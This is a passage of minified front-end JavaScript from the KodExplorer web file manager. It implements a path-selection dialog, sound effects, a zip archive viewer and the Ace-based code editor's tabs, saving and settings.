i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0}) -},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),w(),_(),Toolbar.toolbarSelected(),void 0;var n=e;"http"==e.substr(0,4)&&(n=urlDecode($.getUrlParam("name",e))),i={charset:"utf-8",uuid:a,name:core.pathThis(n),filename:n,mode:p(n),the_url:""},"http"==e.substr(0,4)&&(i.filename=""),f(i),t[i.uuid]={kod:{filename:i.filename}},core.fileGet(e,function(e,n,o){if(i.the_url=o,$(".tab_"+i.uuid).removeClass("loading"),!n||!n.code)return j(i.uuid),Tips.tips(n);if(0==$("#"+i.uuid).length)return j(i.uuid),void 0;var s=n.data;1==s.base64&&(s.content=base64Decode(s.content));var r="<?php exit;?>";if("php"==s.ext&&0==s.content.indexOf(r)){var l=s.content.substr(r.length);s.content=r+js_beautify(l),i.mode=p("test.json")}"oexe"==s.ext&&(s.content=js_beautify(s.content)),t[a]=void 0,$("#"+a).text(s.content),m(i);var c=t[a];c.kod.charset=s.charset,c.kod.base64=s.base64,c.navigateTo(0),c.moveCursorTo(0,0),I(),w(),_(),Toolbar.toolbarSelected()},function(){j(i.uuid)})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='<div class="edit_tab_menu tab loading tab_'+t.uuid+'" uuid="'+t.uuid+'" title="'+htmlEncode(t.filename)+'">'+' <div class="name">'+i+htmlEncode(t.name)+"</div>"+' <a href="javascript:void(0);" class="close icon-remove" draggable="false"></a>'+' <div style="clear:both;"></div>'+"</div>";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({newLineMode:"windows",enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){N(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){L(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=O();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename;i||(i=Editor.current().kod.name);var a='<img draggable="false" src="'+G.static_path+'images/file_icon/icon_others/edit.png"/>'+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),E(),w(),Toolbar.toolbarSelected(),g()},g=function(){var e=O();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),P(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a));break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},x=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&w()},w=function(){var e=O();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},N=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},L=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;O().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){z(n,e,a)}):z(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&L(e)},z=function(e,t,i){if("view"===e.kod.tabType)return Tips.tips(LNG.error,"warning"),void 0;var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,T(e)),N(e,!1),_(),i&&j(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},T=function(e){var t=e.kod.filename;e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},S=function(e){if(void 0==e&&(e=i),void 0==t[e])return j(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+"<br/>"+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){L(e,!0)}},{name:LNG.button_not_save,callback:function(){j(e)}}]}):j(e)},j=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),E()},E=function(){0==$(".edit_body .tabs .edit_content").length?(O()&&O().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),P(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},P=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},D=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},F=function(e){core.setSkin(e)},O=function(){return i&&t[i]&&t[i].focus?t[i]:!1},A=function(e){var i=O();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):($(".tab_"+e).addClass("loading"),Tips.loading(LNG.loading),core.fileGet(a,function(t,a){Tips.close(),$(".tab_"+e).removeClass("loading");var n=a.data;1==n.base64&&(n.content=base64Decode(n.content));var o="<?php exit;?>";if(null==n.content&&(n.content=""),"php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s)}"oexe"==n.ext&&(n.content=js_beautify(n.content)),i.kod.charset=n.charset,i.kod.base64=n.base64,i.getSession().setValue(n.content);var r=i.getFirstVisibleRow();i.scrollToLine(r),N(i,!1)},function(){$(".tab_"+e).removeClass("loading")}),void 0)},I=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=O(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},R=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:O,getParentEditor:P,hasFileSave:D,saveConfig:y,doAction:x,setTheme:F,isBlackTheme:R,select:b,remove:S,save:L,saveall:C,refresh:A,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),I()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(N);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('<div class="preview_frame mask_view"></div>'),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var 